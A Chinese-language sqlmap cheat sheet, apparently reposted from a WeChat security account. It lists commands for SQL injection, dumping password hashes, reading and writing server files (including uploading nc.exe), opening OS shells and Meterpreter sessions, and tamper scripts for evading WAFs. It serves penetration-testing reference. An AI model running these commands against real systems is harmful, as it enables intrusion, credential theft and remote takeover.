使用经验总结
当我们不想跑路的时候,那么请使用下面内容:
–start=LIMITSTART First query output entry to retrieve指定从第几行开始输出,如:
–start=1
–stop=LIMITSTOP
Last query output entry to retrieve
指定从第几行停止输出
–stop=10
–first=FIRSTCHAR
First query output word character to retrieve
指定从第几个字符开始输出
–first 1
–last=LASTCHAR
Last query output word character to retrieve
指定从第几个字符停止输出–last10
1.通过用户自定义的sys_bineval()函数在内存中执行Metasplit的shellcode,支持MySQL和PostgreSQL数据库,参数:–os-pwn。
2.通过用户自定义的函数上传一个独立的payload执行,MySQL和PostgreSQL的sys_exec()函数,Microsoft SQL Server的xp_cmdshell()函数,参数:–os-pwn。
3.通过SMB攻击(MS08-068)来执行Metasploit的shellcode,当sqlmap获取到的权限足够高的时候(Linux/Unix的uid=0,Windows是Administrator),–os-smbrelay。
4.通过溢出Microsoft SQL Server 2000和2005的sp_replwritetovarbin存储过程(MS09-004),在内存中执行Metasploit的payload,参数:–os-bof。
sqlmap.py -u ” http://127.0.0.1/get_int.php?id=1 ” –passwords
使用技巧
基础检测语法
sqlmap.py -u http://127.0.0.1/user_info.php?uid=1 024
批量检测
“sqlmap.py -m target.txt”
获取表中的数据个数
sqlmap.py -u ” http://www.potian.com/sqlmap/mssql/iis/get_int.asp?id=1 ” –count -Dtestdb
站点爬取
sqlmap.py -u “ http://www.secbang.com “–batch –crawl=3
使用hex避免字符编码导致数据丢失
sqlmap.py -u “ http://www.secbang.com/pgsql/get_int.php?id=1 ” –banner –hex -v 3 –parse-errors
模拟测试手机环境站点
python sqlmap.py -u ” http://www.secbang.com/vuln.php?id=1 ” –mobile
智能判断测试
sqlmap.py -u “ http://www.secbang.com/info.php?id=1 “–batch –smart
结合burpsuite进行注入
sqlmap.py -r burpsuite 抓包.txt
sqlmap 自动填写表单注入
sqlmap.py -u URL –forms
执行shell命令
sqlmap.py -u “url” –os-cmd=”netuser” /*执行net user命令*/ sqlmap.py -u “url” –os-shell /*系统交互的shell*/
延时注入
sqlmap –dbs -u”url” –delay 0.5 /* 延时0.5秒*/ sqlmap –dbs -u”url” –safe-freq /* 请求2次*/
实用技巧
–technique=TECH SQL注入技术测试(默认BEUST)
–time-sec=TIMESEC DBMS响应的延迟时间(默认为5秒)
–union-cols=UCOLS 定列范围用于测试UNION查询注入
–union-char=UCHAR 暴力猜测列的字符数
–union-from=UFROM SQL注入UNION查询使用的格式
–dns-domain=DNS.. DNS泄露攻击使用的域名
–second-order=S.. URL搜索产生的结果页面
枚举信息
-a, –all 获取所有信息
-b, –banner 获取数据库管理系统的标识
–current-user 获取数据库管理系统当前用户
–current-db 获取数据库管理系统当前数据库
–hostname 获取数据库服务器的主机名称
–is-dba 检测DBMS当前用户是否DBA
–users 枚举数据库管理系统用户
–passwords 枚举数据库管理系统用户密码哈希
–privileges 枚举数据库管理系统用户的权限
–roles 枚举数据库管理系统用户的角色
–dbs 枚举数据库管理系统数据库
–tables 枚举的DBMS数据库中的表
–columns 枚举DBMS数据库表列
–schema 枚举数据库架构
–count 检索表的项目数,有时候用户只想获取表中的数据个数而不是具体的内容,那么就可以使用这个参数:sqlmap.py -u url –count -D testdb
–dump 转储数据库表项
–dump-all 转储数据库所有表项
–search 搜索列(S),表(S)和/或数据库名称(S)
–comments 获取DBMS注释
-D DB 要进行枚举的指定数据库名
-T TBL DBMS数据库表枚举
-C COL DBMS数据库表列枚举
-X EXCLUDECOL DBMS数据库表不进行枚举
-U USER 用来进行枚举的数据库用户
–exclude-sysdbs 枚举表时排除系统数据库
–pivot-column=P.. Pivot columnname
–where=DUMPWHERE Use WHEREcondition while table dumping
–start=LIMITSTART 获取第一个查询输出数据位置
–stop=LIMITSTOP 获取最后查询的输出数据
–first=FIRSTCHAR 第一个查询输出字的字符获取
–last=LASTCHAR 最后查询的输出字字符获取
–sql-query=QUERY 要执行的SQL语句
–sql-shell 提示交互式SQL的shell
–sql-file=SQLFILE 要执行的SQL文件
访问文件系统
–file-read=RFILE 从后端的数据库管理系统文件系统读取文件,SQL Server2005中读取二进制文件example.exe:
sqlmap.py -u”http://192.168.136.129/sqlmap/mssql/iis/get_str2.asp?name=luther“–file-read “C:/example.exe” -v 1
–file-write=WFILE 编辑后端的数据库管理系统文件系统上的本地文件
–file-dest=DFILE 后端的数据库管理系统写入文件的绝对路径
在kali中将/software/nc.exe文件上传到C:/WINDOWS/Temp下:
python sqlmap.py -u”http://192.168.136.129/sqlmap/mysql/get_int.aspx?id=1” –file-write”/software/nc.exe” –file-dest “C:/WINDOWS/Temp/nc.exe” -v1
操作系统访问
–os-cmd=OSCMD 执行操作系统命令(OSCMD)
–os-shell 交互式的操作系统的shell
–os-pwn 获取一个OOB shell,meterpreter或VNC
–os-smbrelay 一键获取一个OOBshell,meterpreter或VNC
–os-bof 存储过程缓冲区溢出利用
–priv-esc 数据库进程用户权限提升
–msf-path=MSFPATH MetasploitFramework本地的安装路径
–tmp-path=TMPPATH 远程临时文件目录的绝对路径
Windows注册表访问
–reg-read 读一个Windows注册表项值
–reg-add 写一个Windows注册表项值数据
–reg-del 删除Windows注册表键值
–reg-key=REGKEY Windows注册表键
–reg-value=REGVAL Windows注册表项值
–reg-data=REGDATA Windows注册表键值数据
–reg-type=REGTYPE Windows注册表项值类型
Tamper功能
序号 脚本名称 注释
1 0x2char 将每个编码后的字符转换为等价表达
2 apostrophemask 单引号替换为Utf8字符
3 apostrophenullencode 替换双引号为%00%27
4 appendnullbyte 有效代码后添加%00
5 base64encode 使用base64编码
6 between 比较符替换为between
7 bluecoat 空格替换为随机空白字符,等号替换为like
8 chardoubleencode 双url编码
9 charencode 将url编码
10 charunicodeencode 使用unicode编码
11 charunicodeescape 以指定的payload反向编码未编码的字符
12 commalesslimit 改变limit语句的写法
13 commalessmid 改变mid语句的写法
14 commentbeforeparentheses 在括号前加内联注释
15 concat2concatws 替换CONCAT为CONCAT_WS
16 equaltolike 等号替换为like
17 escapequotes 双引号替换为\\
18 greatest 大于号替换为greatest
19 halfversionedmorekeywords 在每个关键字前加注释
20 htmlencode html编码所有非字母和数字的字符
21 ifnull2casewhenisnull 改变ifnull语句的写法
22 ifnull2ifisnull 替换ifnull为if(isnull(A))
23 informationschemacomment 标示符后添加注释
24 least 替换大于号为least
25 lowercase 全部替换为小写值
26 modsecurityversioned 空格替换为查询版本的注释
27 modsecurityzeroversioned 添加完整的查询版本的注释
28 multiplespaces 添加多个空格
29 nonrecursivereplacement 替换预定义的关键字
30 overlongutf8 将所有字符转义为utf8
31 overlongutf8more 以指定的payload转换所有字符
32 percentage 每个字符前添加%
33 plus2concat 将加号替换为concat函数
34 plus2fnconcat 将加号替换为ODBC函数{fn CONCAT()}
35 randomcase 字符大小写随机替换
36 randomcomments /**/分割关键字
37 securesphere 添加某字符串
38 sp_password 追加sp_password字符串
39 space2comment 空格替换为/**/
40 space2dash 空格替换为–加随机字符
41 space2hash 空格替换为#加随机字符
42 space2morecomment 空格替换为/**_**/
43 space2morehash 空格替换为#加随机字符及换行符
44 space2mssqlblank 空格替换为其他空符号
45 space2mssqlhash 空格替换为%23%0A
46 space2mysqlblank 空格替换为其他空白符号
47 space2mysqldash 空格替换为–%0A
48 space2plus 空格替换为加号
49 space2randomblank 空格替换为备选字符集中的随机字符
50 symboliclogical AND和OR替换为&&和||
51 unionalltounion union all select替换为union select
52 unmagicquotes 宽字符绕过GPC
53 uppercase 全部替换为大写值
54 varnish 添加HTTP头
55 versionedkeywords 用注释封装每个非函数的关键字
56 versionedmorekeywords 使用注释绕过
57 xforwardedfor 添加伪造的HTTP头
MYSQL常用Tamper
版本 可用tamper编号 脚本名称
4/5.0/5.5 1 0x2char
6 between
9 charencode
16 concat2concatws
18 greatest
24 least
25 lowercase
35 randomcase
39 space2comment
49 space2randomblank
53 uppercase
5.1 7 bluecoat
46 space2mysqlblank
5.0/5.5 12 commalesslimit
13 commalessmid
21 ifnull2casewhenisnull
22 ifnull2ifisnull
42 space2morecomment
5.0 15 concat2concatws
26 modsecurityversioned
27 modsecurityzeroversioned
4.0/5.0 41 space2hash
5.1.56 10 charunicodeencode
5.1.56/5.5.11 32 percentage
56 versionedmorekeywords
4.0.18/5.0.22 19 halfversionedmorekeywords
4.0.18/5.1.56/5.5.11 55 versionedkeywords
5.1.41 43 space2morehash
未指定版本 14 commentbeforeparentheses
40 space2dash
45 space2mssqlhash
47 space2mysqldash
SQLServer常用Tamper
版本 可用tamper编号 脚本名称
2005/2000 10 charunicodeencode
32 percentage
44 space2mssqlblank
2005 6 between
9 charencode
16 equaltolike
25 lowercase
35 randomcase
39 space2comment
49 space2randomblank
53 uppercase
2002+ 33 plus2concat
2008+ 34 plus2fnconcat
未指定 14 commentbeforeparentheses
ACCESS常用Tamper
版本 可用tamper编号 脚本名称
未指定 4 appendnullbyte
Oracle常用Tamper
版本 可用tamper编号 脚本名称
10g 6 between
9 charencode
14 commentbeforeparentheses
18 greatest
24 least
25 lowercase
35 randomcase
39 space2comment
49 space2randomblank
53 uppercase
PostgreSQL常用Tamper
版本 可用tamper编号 脚本名称
8.3/8.4/9.0 6 between
9 charencode
18 greatest
24 least
25 lowercase
39 space2comment
49 space2randomblank
53 uppercase
9.0 32 percentage
9.0.3 10 charunicodeencode
未指定 14 commentbeforeparentheses
35 randomcase
SQLite常用Tamper
版本 可用tamper编号 脚本名称
未指定 40 space2dash
未知适用范围常用Tamper
版本 可用tamper编号 脚本名称
2 apostrophemask
3 apostrophenullencode
5 base64encode
8 chardoubleencode
11 charunicodeescape
17 escapequotes
20 htmlencode
23 informationschemacomment
28 multiplespaces
29 nonrecursivereplacement
30 overlongutf8
31 overlongutf8more
36 randomcomments
37 securesphere
48 space2plus
50 symboliclogical
51 unionalltounion
52 unmagicquotes
54 varnish
57 xforwardedfor
优化功能
-o 打开所有的优化开关
–predict-output 预测普通查询输出
–keep-alive 使用持久HTTP(S)连接
–null-connection 获取页面长度
–threads=THREADS 当前http(s)最大请求数 (默认 1)
指定注入
-p TESTPARAMETER 可测试的参数
–skip=SKIP 跳过对给定参数的测试
–skip-static 跳过测试不显示为动态的参数
–param-exclude=.. 使用正则表达式排除参数进行测试(e.g. “ses”)
–dbms=DBMS 强制后端的DBMS为此值
–dbms-cred=DBMS.. DBMS认证凭证(user:password)
–os=OS 强制后端的DBMS操作系统为这个值
–invalid-bignum 使用大数字使值无效
–invalid-logical 使用逻辑操作使值无效
–invalid-string 使用随机字符串使值无效
–no-cast 关闭有效载荷铸造机制
–no-escape 关闭字符串逃逸机制
–prefix=PREFIX 注入payload字符串前缀
–suffix=SUFFIX 注入payload字符串后缀
–tamper=TAMPER 使用给定的脚本篡改注入数据
小坑
经过分析,两坑如下:
(1)v1.2.11(/v1.2.10/v1.2.9/master)的boundaries.xml没有了针对模糊查询(%)的测试,而v1.2(/v1.1.12/1.1.4/1.2.2)则有。
(2)v1.2.11(/v1.2.10/1.2.9/master)必须手动设置json的某个参数为*才能对这个参数进行注入,否则payload直接跟在json后导致无法注入,而v1.2(/v1.1.12)则可以默认回车(y)即可对json的某个参数注入。
参考
关注公众号:HACK之道
本文始发于微信公众号(HACK之道):SQLMAP速查表 收藏备用
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论